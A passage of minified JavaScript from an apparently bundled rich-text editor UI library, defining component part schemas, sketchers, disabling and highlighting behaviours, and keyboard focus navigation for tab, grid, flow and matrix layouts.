constant$1({})); var fOverrides = defaulted('overrides', constant$1({})); var requiredSpec = objOf([ fFactory, fSchema, fName, fPname, fDefaults, fOverrides ]); var externalSpec = objOf([ fFactory, fSchema, fName, fDefaults, fOverrides ]); var optionalSpec = objOf([ fFactory, fSchema, fName, fPname, fDefaults, fOverrides ]); var groupSpec = objOf([ fFactory, fGroupSchema, fName, required$1('unit'), fPname, fDefaults, fOverrides ]); var asNamedPart = function (part) { return part.fold(Optional.some, Optional.none, Optional.some, Optional.some); }; var name$1 = function (part) { var get = function (data) { return data.name; }; return part.fold(get, get, get, get); }; var asCommon = function (part) { return part.fold(identity$1, identity$1, identity$1, identity$1); }; var convert = function (adtConstructor, partSchema) { return function (spec) { var data = asRawOrDie$1('Converting part type', partSchema, spec); return adtConstructor(data); }; }; var required = convert(adt$2.required, requiredSpec); var external$1 = convert(adt$2.external, externalSpec); var optional = convert(adt$2.optional, optionalSpec); var group = convert(adt$2.group, groupSpec); var original = constant$1('entirety'); var PartType = /*#__PURE__*/Object.freeze({ __proto__: null, required: required, external: external$1, optional: optional, group: group, asNamedPart: asNamedPart, name: name$1, asCommon: asCommon, original: original }); var combine = function (detail, data, partSpec, partValidated) { return deepMerge(data.defaults(detail, partSpec, partValidated), partSpec, { uid: detail.partUids[data.name] }, data.overrides(detail, partSpec, partValidated)); }; var subs = function (owner, detail, parts) { var internals = {}; var externals = {}; each$1(parts, function (part) { part.fold(function (data) { internals[data.pname] = single$2(true, function (detail, partSpec, partValidated) { return data.factory.sketch(combine(detail, data, partSpec, partValidated)); }); }, function (data) { var partSpec = detail.parts[data.name]; externals[data.name] = constant$1(data.factory.sketch(combine(detail, data, partSpec[original()]), partSpec)); }, function (data) { internals[data.pname] = single$2(false, function (detail, partSpec, partValidated) { return data.factory.sketch(combine(detail, data, partSpec, partValidated)); }); }, function (data) { internals[data.pname] = multiple(true, function (detail, _partSpec, _partValidated) { var units = detail[data.name]; return map$2(units, function (u) { return data.factory.sketch(deepMerge(data.defaults(detail, u, _partValidated), u, data.overrides(detail, u))); }); }); }); }); return { internals: constant$1(internals), externals: constant$1(externals) }; }; var generate$3 = function (owner, parts) { var r = {}; each$1(parts, function (part) { asNamedPart(part).each(function (np) { var g = doGenerateOne(owner, np.pname); r[np.name] = function (config) { var validated = asRawOrDie$1('Part: ' + np.name + ' in ' + owner, objOf(np.schema), config); return __assign(__assign({}, g), { config: config, validated: validated }); }; }); }); return r; }; var doGenerateOne = function (owner, pname) { return { uiType: placeholder(), owner: owner, name: pname }; }; var generateOne$1 = function (owner, pname, config) { return { uiType: placeholder(), owner: owner, name: pname, config: config, validated: {} }; }; var schemas = function (parts) { return bind$3(parts, function (part) { return part.fold(Optional.none, Optional.some, Optional.none, Optional.none).map(function (data) { return requiredObjOf(data.name, data.schema.concat([snapshot(original())])); }).toArray(); }); }; var names = function (parts) { return map$2(parts, name$1); }; var substitutes = function (owner, detail, parts) { return subs(owner, detail, parts); }; var components$1 = function (owner, detail, internals) { return substitutePlaces(Optional.some(owner), detail, detail.components, internals); }; var getPart = function (component, detail, partKey) { var uid = detail.partUids[partKey]; return component.getSystem().getByUid(uid).toOptional(); }; var getPartOrDie = function (component, detail, partKey) { return getPart(component, detail, partKey).getOrDie('Could not find part: ' + partKey); }; var getParts = function (component, detail, partKeys) { var r = {}; var uids = detail.partUids; var system = component.getSystem(); each$1(partKeys, function (pk) { r[pk] = constant$1(system.getByUid(uids[pk])); }); return r; }; var getAllParts = function (component, detail) { var system = component.getSystem(); return map$1(detail.partUids, function (pUid, _k) { return constant$1(system.getByUid(pUid)); }); }; var getAllPartNames = function (detail) { return keys(detail.partUids); }; var getPartsOrDie = function (component, detail, partKeys) { var r = {}; var uids = detail.partUids; var system = component.getSystem(); each$1(partKeys, function (pk) { r[pk] = constant$1(system.getByUid(uids[pk]).getOrDie()); }); return r; }; var defaultUids = function (baseUid, partTypes) { var partNames = names(partTypes); return wrapAll(map$2(partNames, function (pn) { return { key: pn, value: baseUid + '-' + pn }; })); }; var defaultUidsSchema = function (partTypes) { return field$1('partUids', 'partUids', mergeWithThunk(function (spec) { return defaultUids(spec.uid, partTypes); }), anyValue()); }; var AlloyParts = /*#__PURE__*/Object.freeze({ __proto__: null, generate: generate$3, generateOne: generateOne$1, schemas: schemas, names: names, substitutes: substitutes, components: components$1, defaultUids: defaultUids, defaultUidsSchema: defaultUidsSchema, getAllParts: getAllParts, getAllPartNames: getAllPartNames, getPart: getPart, getPartOrDie: getPartOrDie, getParts: getParts, getPartsOrDie: getPartsOrDie }); var base = function (partSchemas, partUidsSchemas) { var ps = partSchemas.length > 0 ? [requiredObjOf('parts', partSchemas)] : []; return ps.concat([ required$1('uid'), defaulted('dom', {}), defaulted('components', []), snapshot('originalSpec'), defaulted('debug.sketcher', {}) ]).concat(partUidsSchemas); }; var asRawOrDie = function (label, schema, spec, partSchemas, partUidsSchemas) { var baseS = base(partSchemas, partUidsSchemas); return asRawOrDie$1(label + ' [SpecSchema]', objOfOnly(baseS.concat(schema)), spec); }; var single$1 = function (owner, schema, factory, spec) { var specWithUid = supplyUid(spec); var detail = asRawOrDie(owner, schema, specWithUid, [], []); return factory(detail, specWithUid); }; var composite$1 = function (owner, schema, partTypes, factory, spec) { var specWithUid = supplyUid(spec); var partSchemas = schemas(partTypes); var partUidsSchema = defaultUidsSchema(partTypes); var detail = asRawOrDie(owner, schema, specWithUid, partSchemas, [partUidsSchema]); var subs = substitutes(owner, detail, partTypes); var components = components$1(owner, detail, subs.internals()); return factory(detail, components, specWithUid, subs.externals()); }; var hasUid = function (spec) { return has$2(spec, 'uid'); }; var supplyUid = function (spec) { return hasUid(spec) ? spec : __assign(__assign({}, spec), { uid: generate$5('uid') }); }; var isSketchSpec = function (spec) { return spec.uid !== undefined; }; var singleSchema = objOfOnly([ required$1('name'), required$1('factory'), required$1('configFields'), defaulted('apis', {}), defaulted('extraApis', {}) ]); var compositeSchema = objOfOnly([ required$1('name'), required$1('factory'), required$1('configFields'), required$1('partFields'), defaulted('apis', {}), defaulted('extraApis', {}) ]); var single = function (rawConfig) { var config = asRawOrDie$1('Sketcher for ' + rawConfig.name, singleSchema, rawConfig); var sketch = function (spec) { return single$1(config.name, config.configFields, config.factory, spec); }; var apis = map$1(config.apis, makeApi); var extraApis = map$1(config.extraApis, function (f, k) { return markAsExtraApi(f, k); }); return __assign(__assign({ name: config.name, configFields: config.configFields, sketch: sketch }, apis), extraApis); }; var composite = function (rawConfig) { var config = asRawOrDie$1('Sketcher for ' + rawConfig.name, compositeSchema, rawConfig); var sketch = function (spec) { return composite$1(config.name, config.configFields, config.partFields, config.factory, spec); }; var parts = generate$3(config.name, config.partFields); var apis = map$1(config.apis, makeApi); var extraApis = map$1(config.extraApis, function (f, k) { return markAsExtraApi(f, k); }); return __assign(__assign({ name: config.name, partFields: config.partFields, configFields: config.configFields, sketch: sketch, parts: parts }, apis), extraApis); }; var inside = function (target) { return name$2(target) === 'input' && get$d(target, 'type') !== 'radio' || name$2(target) === 'textarea'; }; var getCurrent = function (component, composeConfig, _composeState) { return composeConfig.find(component); }; var ComposeApis = /*#__PURE__*/Object.freeze({ __proto__: null, getCurrent: getCurrent }); var ComposeSchema = [required$1('find')]; var Composing = create$7({ fields: ComposeSchema, name: 'composing', apis: ComposeApis }); var nativeDisabled = [ 'input', 'button', 'textarea', 'select' ]; var onLoad$1 = function (component, disableConfig, disableState) { var f = disableConfig.disabled() ? disable$1 : enable$1; f(component, disableConfig); }; var hasNative = function (component, config) { return config.useNative === true && contains$2(nativeDisabled, name$2(component.element)); }; var nativeIsDisabled = function (component) { return has$1(component.element, 'disabled'); }; var nativeDisable = function (component) { set$8(component.element, 'disabled', 'disabled'); }; var nativeEnable = function (component) { remove$7(component.element, 'disabled'); }; var ariaIsDisabled = function (component) { return get$d(component.element, 'aria-disabled') === 'true'; }; var ariaDisable = function (component) { set$8(component.element, 'aria-disabled', 'true'); }; var ariaEnable = function (component) { set$8(component.element, 'aria-disabled', 'false'); }; var disable$1 = function (component, disableConfig, _disableState) { disableConfig.disableClass.each(function (disableClass) { add$2(component.element, disableClass); }); var f = hasNative(component, disableConfig) ? nativeDisable : ariaDisable; f(component); disableConfig.onDisabled(component); }; var enable$1 = function (component, disableConfig, _disableState) { disableConfig.disableClass.each(function (disableClass) { remove$2(component.element, disableClass); }); var f = hasNative(component, disableConfig) ? nativeEnable : ariaEnable; f(component); disableConfig.onEnabled(component); }; var isDisabled = function (component, disableConfig) { return hasNative(component, disableConfig) ? nativeIsDisabled(component) : ariaIsDisabled(component); }; var set$3 = function (component, disableConfig, disableState, disabled) { var f = disabled ? disable$1 : enable$1; f(component, disableConfig); }; var DisableApis = /*#__PURE__*/Object.freeze({ __proto__: null, enable: enable$1, disable: disable$1, isDisabled: isDisabled, onLoad: onLoad$1, set: set$3 }); var exhibit$5 = function (base, disableConfig) { return nu$7({ classes: disableConfig.disabled() ? disableConfig.disableClass.toArray() : [] }); }; var events$e = function (disableConfig, disableState) { return derive$2([ abort(execute$5(), function (component, _simulatedEvent) { return isDisabled(component, disableConfig); }), loadEvent(disableConfig, disableState, onLoad$1) ]); }; var ActiveDisable = /*#__PURE__*/Object.freeze({ __proto__: null, exhibit: exhibit$5, events: events$e }); var DisableSchema = [ defaultedFunction('disabled', never), defaulted('useNative', true), option('disableClass'), onHandler('onDisabled'), onHandler('onEnabled') ]; var Disabling = create$7({ fields: DisableSchema, name: 'disabling', active: ActiveDisable, apis: DisableApis }); var dehighlightAllExcept = function (component, hConfig, hState, skip) { var highlighted = descendants(component.element, '.' + hConfig.highlightClass); each$1(highlighted, function (h) { if (!exists(skip, function (skipComp) { return skipComp.element === h; })) { remove$2(h, hConfig.highlightClass); component.getSystem().getByDom(h).each(function (target) { hConfig.onDehighlight(component, target); emit(target, dehighlight$1()); }); } }); }; var dehighlightAll = function (component, hConfig, hState) { return dehighlightAllExcept(component, hConfig, hState, []); }; var dehighlight = function (component, hConfig, hState, target) { if (isHighlighted(component, hConfig, hState, target)) { remove$2(target.element, hConfig.highlightClass); hConfig.onDehighlight(component, target); emit(target, dehighlight$1()); } }; var highlight = function (component, hConfig, hState, target) { dehighlightAllExcept(component, hConfig, hState, [target]); if (!isHighlighted(component, hConfig, hState, target)) { add$2(target.element, hConfig.highlightClass); hConfig.onHighlight(component, target); emit(target, highlight$1()); } }; var highlightFirst = function (component, hConfig, hState) { getFirst(component, hConfig).each(function (firstComp) { highlight(component, hConfig, hState, firstComp); }); }; var highlightLast = function (component, hConfig, hState) { getLast(component, hConfig).each(function (lastComp) { highlight(component, hConfig, hState, lastComp); }); }; var highlightAt = function (component, hConfig, hState, index) { getByIndex(component, hConfig, hState, index).fold(function (err) { throw err; }, function (firstComp) { highlight(component, hConfig, hState, firstComp); }); }; var highlightBy = function (component, hConfig, hState, predicate) { var candidates = getCandidates(component, hConfig); var targetComp = find$5(candidates, predicate); targetComp.each(function (c) { highlight(component, hConfig, hState, c); }); }; var isHighlighted = function (component, hConfig, hState, queryTarget) { return has(queryTarget.element, hConfig.highlightClass); }; var getHighlighted = function (component, hConfig, _hState) { return descendant(component.element, '.' + hConfig.highlightClass).bind(function (e) { return component.getSystem().getByDom(e).toOptional(); }); }; var getByIndex = function (component, hConfig, hState, index) { var items = descendants(component.element, '.' + hConfig.itemClass); return Optional.from(items[index]).fold(function () { return Result.error(new Error('No element found with index ' + index)); }, component.getSystem().getByDom); }; var getFirst = function (component, hConfig, _hState) { return descendant(component.element, '.' + hConfig.itemClass).bind(function (e) { return component.getSystem().getByDom(e).toOptional(); }); }; var getLast = function (component, hConfig, _hState) { var items = descendants(component.element, '.' + hConfig.itemClass); var last = items.length > 0 ? Optional.some(items[items.length - 1]) : Optional.none(); return last.bind(function (c) { return component.getSystem().getByDom(c).toOptional(); }); }; var getDelta$2 = function (component, hConfig, hState, delta) { var items = descendants(component.element, '.' + hConfig.itemClass); var current = findIndex$1(items, function (item) { return has(item, hConfig.highlightClass); }); return current.bind(function (selected) { var dest = cycleBy(selected, delta, 0, items.length - 1); return component.getSystem().getByDom(items[dest]).toOptional(); }); }; var getPrevious = function (component, hConfig, hState) { return getDelta$2(component, hConfig, hState, -1); }; var getNext = function (component, hConfig, hState) { return getDelta$2(component, hConfig, hState, +1); }; var getCandidates = function (component, hConfig, _hState) { var items = descendants(component.element, '.' + hConfig.itemClass); return cat(map$2(items, function (i) { return component.getSystem().getByDom(i).toOptional(); })); }; var HighlightApis = /*#__PURE__*/Object.freeze({ __proto__: null, dehighlightAll: dehighlightAll, dehighlight: dehighlight, highlight: highlight, highlightFirst: highlightFirst, highlightLast: highlightLast, highlightAt: highlightAt, highlightBy: highlightBy, isHighlighted: isHighlighted, getHighlighted: getHighlighted, getFirst: getFirst, getLast: getLast, getPrevious: getPrevious, getNext: getNext, getCandidates: getCandidates }); var HighlightSchema = [ required$1('highlightClass'), required$1('itemClass'), onHandler('onHighlight'), onHandler('onDehighlight') ]; var Highlighting = create$7({ fields: HighlightSchema, name: 'highlighting', apis: HighlightApis }); var BACKSPACE = [8]; var TAB = [9]; var ENTER = [13]; var ESCAPE = [27]; var SPACE = [32]; var LEFT = [37]; var UP = [38]; var RIGHT = [39]; var DOWN = [40]; var cyclePrev = function (values, index, predicate) { var before = reverse(values.slice(0, index)); var after = reverse(values.slice(index + 1)); return find$5(before.concat(after), predicate); }; var tryPrev = function (values, index, predicate) { var before = reverse(values.slice(0, index)); return find$5(before, predicate); }; var cycleNext = function (values, index, predicate) { var before = values.slice(0, index); var after = values.slice(index + 1); return find$5(after.concat(before), predicate); }; var tryNext = function (values, index, predicate) { var after = values.slice(index + 1); return find$5(after, predicate); }; var inSet = function (keys) { return function (event) { var raw = event.raw; return contains$2(keys, raw.which); }; }; var and = function (preds) { return function (event) { return forall(preds, function (pred) { return pred(event); }); }; }; var isShift = function (event) { var raw = event.raw; return raw.shiftKey === true; }; var isControl = function (event) { var raw = event.raw; return raw.ctrlKey === true; }; var isNotShift = not(isShift); var rule = function (matches, action) { return { matches: matches, classification: action }; }; var choose = function (transitions, event) { var transition = find$5(transitions, function (t) { return t.matches(event); }); return transition.map(function (t) { return t.classification; }); }; var reportFocusShifting = function (component, prevFocus, newFocus) { var noChange = prevFocus.exists(function (p) { return newFocus.exists(function (n) { return eq(n, p); }); }); if (!noChange) { emitWith(component, focusShifted(), { prevFocus: prevFocus, newFocus: newFocus }); } }; var dom$2 = function () { var get = function (component) { return search(component.element); }; var set = function (component, focusee) { var prevFocus = get(component); component.getSystem().triggerFocus(focusee, component.element); var newFocus = get(component); reportFocusShifting(component, prevFocus, newFocus); }; return { get: get, set: set }; }; var highlights = function () { var get = function (component) { return Highlighting.getHighlighted(component).map(function (item) { return item.element; }); }; var set = function (component, element) { var prevFocus = get(component); component.getSystem().getByDom(element).fold(noop, function (item) { Highlighting.highlight(component, item); }); var newFocus = get(component); reportFocusShifting(component, prevFocus, newFocus); }; return { get: get, set: set }; }; var FocusInsideModes; (function (FocusInsideModes) { FocusInsideModes['OnFocusMode'] = 'onFocus'; FocusInsideModes['OnEnterOrSpaceMode'] = 'onEnterOrSpace'; FocusInsideModes['OnApiMode'] = 'onApi'; }(FocusInsideModes || (FocusInsideModes = {}))); var typical = function (infoSchema, stateInit, getKeydownRules, getKeyupRules, optFocusIn) { var schema = function () { return infoSchema.concat([ defaulted('focusManager', dom$2()), defaultedOf('focusInside', 'onFocus', valueOf(function (val) { return contains$2([ 'onFocus', 'onEnterOrSpace', 'onApi' ], val) ? Result.value(val) : Result.error('Invalid value for focusInside'); })), output$1('handler', me), output$1('state', stateInit), output$1('sendFocusIn', optFocusIn) ]); }; var processKey = function (component, simulatedEvent, getRules, keyingConfig, keyingState) { var rules = getRules(component, simulatedEvent, keyingConfig, keyingState); return choose(rules, simulatedEvent.event).bind(function (rule) { return rule(component, simulatedEvent, keyingConfig, keyingState); }); }; var toEvents = function (keyingConfig, keyingState) { var onFocusHandler = keyingConfig.focusInside !== FocusInsideModes.OnFocusMode ? Optional.none() : optFocusIn(keyingConfig).map(function (focusIn) { return run$1(focus$4(), function (component, simulatedEvent) { focusIn(component, keyingConfig, keyingState); simulatedEvent.stop(); }); }); var tryGoInsideComponent = function (component, simulatedEvent) { var isEnterOrSpace = inSet(SPACE.concat(ENTER))(simulatedEvent.event); if (keyingConfig.focusInside === FocusInsideModes.OnEnterOrSpaceMode && isEnterOrSpace && isSource(component, simulatedEvent)) { optFocusIn(keyingConfig).each(function (focusIn) { focusIn(component, keyingConfig, keyingState); simulatedEvent.stop(); }); } }; var keyboardEvents = [ run$1(keydown(), function (component, simulatedEvent) { processKey(component, simulatedEvent, getKeydownRules, keyingConfig, keyingState).fold(function () { tryGoInsideComponent(component, simulatedEvent); }, function (_) { simulatedEvent.stop(); }); }), run$1(keyup(), function (component, simulatedEvent) { processKey(component, simulatedEvent, getKeyupRules, keyingConfig, keyingState).each(function (_) { simulatedEvent.stop(); }); }) ]; return derive$2(onFocusHandler.toArray().concat(keyboardEvents)); }; var me = { schema: schema, processKey: processKey, toEvents: toEvents }; return me; }; var create$5 = function (cyclicField) { var schema = [ option('onEscape'), option('onEnter'), defaulted('selector', '[data-alloy-tabstop="true"]:not(:disabled)'), defaulted('firstTabstop', 0), defaulted('useTabstopAt', always), option('visibilitySelector') ].concat([cyclicField]); var isVisible = function (tabbingConfig, element) { var target = tabbingConfig.visibilitySelector.bind(function (sel) { return closest$1(element, sel); }).getOr(element); return get$b(target) > 0; }; var findInitial = function (component, tabbingConfig) { var tabstops = descendants(component.element, tabbingConfig.selector); var visibles = filter$2(tabstops, function (elem) { return isVisible(tabbingConfig, elem); }); return Optional.from(visibles[tabbingConfig.firstTabstop]); }; var findCurrent = function (component, tabbingConfig) { return tabbingConfig.focusManager.get(component).bind(function (elem) { return closest$1(elem, tabbingConfig.selector); }); }; var isTabstop = function (tabbingConfig, element) { return isVisible(tabbingConfig, element) && tabbingConfig.useTabstopAt(element); }; var focusIn = function (component, tabbingConfig, _tabbingState) { findInitial(component, tabbingConfig).each(function (target) { tabbingConfig.focusManager.set(component, target); }); }; var goFromTabstop = function (component, tabstops, stopIndex, tabbingConfig, cycle) { return cycle(tabstops, stopIndex, function (elem) { return isTabstop(tabbingConfig, elem); }).fold(function () { return tabbingConfig.cyclic ? Optional.some(true) : Optional.none(); }, function (target) { tabbingConfig.focusManager.set(component, target); return Optional.some(true); }); }; var go = function (component, _simulatedEvent, tabbingConfig, cycle) { var tabstops = descendants(component.element, tabbingConfig.selector); return findCurrent(component, tabbingConfig).bind(function (tabstop) { var optStopIndex = findIndex$1(tabstops, curry(eq, tabstop)); return optStopIndex.bind(function (stopIndex) { return goFromTabstop(component, tabstops, stopIndex, tabbingConfig, cycle); }); }); }; var goBackwards = function (component, simulatedEvent, tabbingConfig) { var navigate = tabbingConfig.cyclic ? cyclePrev : tryPrev; return go(component, simulatedEvent, tabbingConfig, navigate); }; var goForwards = function (component, simulatedEvent, tabbingConfig) { var navigate = tabbingConfig.cyclic ? cycleNext : tryNext; return go(component, simulatedEvent, tabbingConfig, navigate); }; var execute = function (component, simulatedEvent, tabbingConfig) { return tabbingConfig.onEnter.bind(function (f) { return f(component, simulatedEvent); }); }; var exit = function (component, simulatedEvent, tabbingConfig) { return tabbingConfig.onEscape.bind(function (f) { return f(component, simulatedEvent); }); }; var getKeydownRules = constant$1([ rule(and([ isShift, inSet(TAB) ]), goBackwards), rule(inSet(TAB), goForwards), rule(inSet(ESCAPE), exit), rule(and([ isNotShift, inSet(ENTER) ]), execute) ]); var getKeyupRules = constant$1([]); return typical(schema, NoState.init, getKeydownRules, getKeyupRules, function () { return Optional.some(focusIn); }); }; var AcyclicType = create$5(customField('cyclic', never)); var CyclicType = create$5(customField('cyclic', always)); var doDefaultExecute = function (component, _simulatedEvent, focused) { dispatch(component, focused, execute$5()); return Optional.some(true); }; var defaultExecute = function (component, simulatedEvent, focused) { var isComplex = inside(focused) && inSet(SPACE)(simulatedEvent.event); return isComplex ? Optional.none() : doDefaultExecute(component, simulatedEvent, focused); }; var stopEventForFirefox = function (_component, _simulatedEvent) { return Optional.some(true); }; var schema$v = [ defaulted('execute', defaultExecute), defaulted('useSpace', false), defaulted('useEnter', true), defaulted('useControlEnter', false), defaulted('useDown', false) ]; var execute$4 = function (component, simulatedEvent, executeConfig) { return executeConfig.execute(component, simulatedEvent, component.element); }; var getKeydownRules$5 = function (component, _simulatedEvent, executeConfig, _executeState) { var spaceExec = executeConfig.useSpace && !inside(component.element) ? SPACE : []; var enterExec = executeConfig.useEnter ? ENTER : []; var downExec = executeConfig.useDown ? DOWN : []; var execKeys = spaceExec.concat(enterExec).concat(downExec); return [rule(inSet(execKeys), execute$4)].concat(executeConfig.useControlEnter ? [rule(and([ isControl, inSet(ENTER) ]), execute$4)] : []); }; var getKeyupRules$5 = function (component, _simulatedEvent, executeConfig, _executeState) { return executeConfig.useSpace && !inside(component.element) ? [rule(inSet(SPACE), stopEventForFirefox)] : []; }; var ExecutionType = typical(schema$v, NoState.init, getKeydownRules$5, getKeyupRules$5, function () { return Optional.none(); }); var flatgrid$1 = function () { var dimensions = value$1(); var setGridSize = function (numRows, numColumns) { dimensions.set({ numRows: numRows, numColumns: numColumns }); }; var getNumRows = function () { return dimensions.get().map(function (d) { return d.numRows; }); }; var getNumColumns = function () { return dimensions.get().map(function (d) { return d.numColumns; }); }; return nu$8({ readState: function () { return dimensions.get().map(function (d) { return { numRows: String(d.numRows), numColumns: String(d.numColumns) }; }).getOr({ numRows: '?', numColumns: '?' }); }, setGridSize: setGridSize, getNumRows: getNumRows, getNumColumns: getNumColumns }); }; var init$d = function (spec) { return spec.state(spec); }; var KeyingState = /*#__PURE__*/Object.freeze({ __proto__: null, flatgrid: flatgrid$1, init: init$d }); var useH = function (movement) { return function (component, simulatedEvent, config, state) { var move = movement(component.element); return use(move, component, simulatedEvent, config, state); }; }; var west$1 = function (moveLeft, moveRight) { var movement = onDirection(moveLeft, moveRight); return useH(movement); }; var east$1 = function (moveLeft, moveRight) { var movement = onDirection(moveRight, moveLeft); return useH(movement); }; var useV = function (move) { return function (component, simulatedEvent, config, state) { return use(move, component, simulatedEvent, config, state); }; }; var use = function (move, component, simulatedEvent, config, state) { var outcome = config.focusManager.get(component).bind(function (focused) { return move(component.element, focused, config, state); }); return outcome.map(function (newFocus) { config.focusManager.set(component, newFocus); return true; }); }; var north$1 = useV; var south$1 = useV; var move$1 = useV; var isHidden$1 = function (dom) { return dom.offsetWidth <= 0 && dom.offsetHeight <= 0; }; var isVisible = function (element) { return !isHidden$1(element.dom); }; var locate = function (candidates, predicate) { return findIndex$1(candidates, predicate).map(function (index) { return { index: index, candidates: candidates }; }); }; var locateVisible = function (container, current, selector) { var predicate = function (x) { return eq(x, current); }; var candidates = descendants(container, selector); var visible = filter$2(candidates, isVisible); return locate(visible, predicate); }; var findIndex = function (elements, target) { return findIndex$1(elements, function (elem) { return eq(target, elem); }); }; var withGrid = function (values, index, numCols, f) { var oldRow = Math.floor(index / numCols); var oldColumn = index % numCols; return f(oldRow, oldColumn).bind(function (address) { var newIndex = address.row * numCols + address.column; return newIndex >= 0 && newIndex < values.length ? Optional.some(values[newIndex]) : Optional.none(); }); }; var cycleHorizontal$1 = function (values, index, numRows, numCols, delta) { return withGrid(values, index, numCols, function (oldRow, oldColumn) { var onLastRow = oldRow === numRows - 1; var colsInRow = onLastRow ? values.length - oldRow * numCols : numCols; var newColumn = cycleBy(oldColumn, delta, 0, colsInRow - 1); return Optional.some({ row: oldRow, column: newColumn }); }); }; var cycleVertical$1 = function (values, index, numRows, numCols, delta) { return withGrid(values, index, numCols, function (oldRow, oldColumn) { var newRow = cycleBy(oldRow, delta, 0, numRows - 1); var onLastRow = newRow === numRows - 1; var colsInRow = onLastRow ? values.length - newRow * numCols : numCols; var newCol = clamp$1(oldColumn, 0, colsInRow - 1); return Optional.some({ row: newRow, column: newCol }); }); }; var cycleRight$1 = function (values, index, numRows, numCols) { return cycleHorizontal$1(values, index, numRows, numCols, +1); }; var cycleLeft$1 = function (values, index, numRows, numCols) { return cycleHorizontal$1(values, index, numRows, numCols, -1); }; var cycleUp$1 = function (values, index, numRows, numCols) { return cycleVertical$1(values, index, numRows, numCols, -1); }; var cycleDown$1 = function (values, index, numRows, numCols) { return cycleVertical$1(values, index, numRows, numCols, +1); }; var schema$u = [ required$1('selector'), defaulted('execute', defaultExecute), onKeyboardHandler('onEscape'), defaulted('captureTab', false), initSize() ]; var focusIn$3 = function (component, gridConfig, _gridState) { descendant(component.element, gridConfig.selector).each(function (first) { gridConfig.focusManager.set(component, first); }); }; var findCurrent$1 = function (component, gridConfig) { return gridConfig.focusManager.get(component).bind(function (elem) { return closest$1(elem, gridConfig.selector); }); }; var execute$3 = function (component, simulatedEvent, gridConfig, _gridState) { return findCurrent$1(component, gridConfig).bind(function (focused) { return gridConfig.execute(component, simulatedEvent, focused); }); }; var doMove$2 = function (cycle) { return function (element, focused, gridConfig, gridState) { return locateVisible(element, focused, gridConfig.selector).bind(function (identified) { return cycle(identified.candidates, identified.index, gridState.getNumRows().getOr(gridConfig.initSize.numRows), gridState.getNumColumns().getOr(gridConfig.initSize.numColumns)); }); }; }; var handleTab = function (_component, _simulatedEvent, gridConfig) { return gridConfig.captureTab ? Optional.some(true) : Optional.none(); }; var doEscape$1 = function (component, simulatedEvent, gridConfig) { return gridConfig.onEscape(component, simulatedEvent); }; var moveLeft$3 = doMove$2(cycleLeft$1); var moveRight$3 = doMove$2(cycleRight$1); var moveNorth$1 = doMove$2(cycleUp$1); var moveSouth$1 = doMove$2(cycleDown$1); var getKeydownRules$4 = constant$1([ rule(inSet(LEFT), west$1(moveLeft$3, moveRight$3)), rule(inSet(RIGHT), east$1(moveLeft$3, moveRight$3)), rule(inSet(UP), north$1(moveNorth$1)), rule(inSet(DOWN), south$1(moveSouth$1)), rule(and([ isShift, inSet(TAB) ]), handleTab), rule(and([ isNotShift, inSet(TAB) ]), handleTab), rule(inSet(ESCAPE), doEscape$1), rule(inSet(SPACE.concat(ENTER)), execute$3) ]); var getKeyupRules$4 = constant$1([rule(inSet(SPACE), stopEventForFirefox)]); var FlatgridType = typical(schema$u, flatgrid$1, getKeydownRules$4, getKeyupRules$4, function () { return Optional.some(focusIn$3); }); var horizontal = function (container, selector, current, delta) { var isDisabledButton = function (candidate) { return name$2(candidate) === 'button' && get$d(candidate, 'disabled') === 'disabled'; }; var tryCycle = function (initial, index, candidates) { var newIndex = cycleBy(index, delta, 0, candidates.length - 1); if (newIndex === initial) { return Optional.none(); } else { return isDisabledButton(candidates[newIndex]) ? tryCycle(initial, newIndex, candidates) : Optional.from(candidates[newIndex]); } }; return locateVisible(container, current, selector).bind(function (identified) { var index = identified.index; var candidates = identified.candidates; return tryCycle(index, index, candidates); }); }; var schema$t = [ required$1('selector'), defaulted('getInitial', Optional.none), defaulted('execute', defaultExecute), onKeyboardHandler('onEscape'), defaulted('executeOnMove', false), defaulted('allowVertical', true) ]; var findCurrent = function (component, flowConfig) { return flowConfig.focusManager.get(component).bind(function (elem) { return closest$1(elem, flowConfig.selector); }); }; var execute$2 = function (component, simulatedEvent, flowConfig) { return findCurrent(component, flowConfig).bind(function (focused) { return flowConfig.execute(component, simulatedEvent, focused); }); }; var focusIn$2 = function (component, flowConfig, _state) { flowConfig.getInitial(component).orThunk(function () { return descendant(component.element, flowConfig.selector); }).each(function (first) { flowConfig.focusManager.set(component, first); }); }; var moveLeft$2 = function (element, focused, info) { return horizontal(element, info.selector, focused, -1); }; var moveRight$2 = function (element, focused, info) { return horizontal(element, info.selector, focused, +1); }; var doMove$1 = function (movement) { return function (component, simulatedEvent, flowConfig, flowState) { return movement(component, simulatedEvent, flowConfig, flowState).bind(function () { return flowConfig.executeOnMove ? execute$2(component, simulatedEvent, flowConfig) : Optional.some(true); }); }; }; var doEscape = function (component, simulatedEvent, flowConfig) { return flowConfig.onEscape(component, simulatedEvent); }; var getKeydownRules$3 = function (_component, _se, flowConfig, _flowState) { var westMovers = LEFT.concat(flowConfig.allowVertical ? UP : []); var eastMovers = RIGHT.concat(flowConfig.allowVertical ? DOWN : []); return [ rule(inSet(westMovers), doMove$1(west$1(moveLeft$2, moveRight$2))), rule(inSet(eastMovers), doMove$1(east$1(moveLeft$2, moveRight$2))), rule(inSet(ENTER), execute$2), rule(inSet(SPACE), execute$2), rule(inSet(ESCAPE), doEscape) ]; }; var getKeyupRules$3 = constant$1([rule(inSet(SPACE), stopEventForFirefox)]); var FlowType = typical(schema$t, NoState.init, getKeydownRules$3, getKeyupRules$3, function () { return Optional.some(focusIn$2); }); var toCell = function (matrix, rowIndex, columnIndex) { return Optional.from(matrix[rowIndex]).bind(function (row) { return Optional.from(row[columnIndex]).map(function (cell) { return { rowIndex: rowIndex, columnIndex: columnIndex, cell: cell }; }); }); }; var cycleHorizontal = function (matrix, rowIndex, startCol, deltaCol) { var row = matrix[rowIndex]; var colsInRow = row.length; var newColIndex = cycleBy(startCol, deltaCol, 0, colsInRow - 1); return toCell(matrix, rowIndex, newColIndex); }; var cycleVertical = function (matrix, colIndex, startRow, deltaRow) { var nextRowIndex = cycleBy(startRow, deltaRow, 0, matrix.length - 1); var colsInNextRow = matrix[nextRowIndex].length; var nextColIndex = clamp$1(colIndex, 0, colsInNextRow - 1); return toCell(matrix, nextRowIndex, nextColIndex); }; var moveHorizontal = function (matrix, rowIndex, startCol, deltaCol) { var row = matrix[rowIndex]; var colsInRow = row.length; var newColIndex = clamp$1(startCol + deltaCol, 0, colsInRow - 1); return toCell(matrix, rowIndex, newColIndex); }; var moveVertical = function (matrix, colIndex, startRow, deltaRow) { var nextRowIndex = 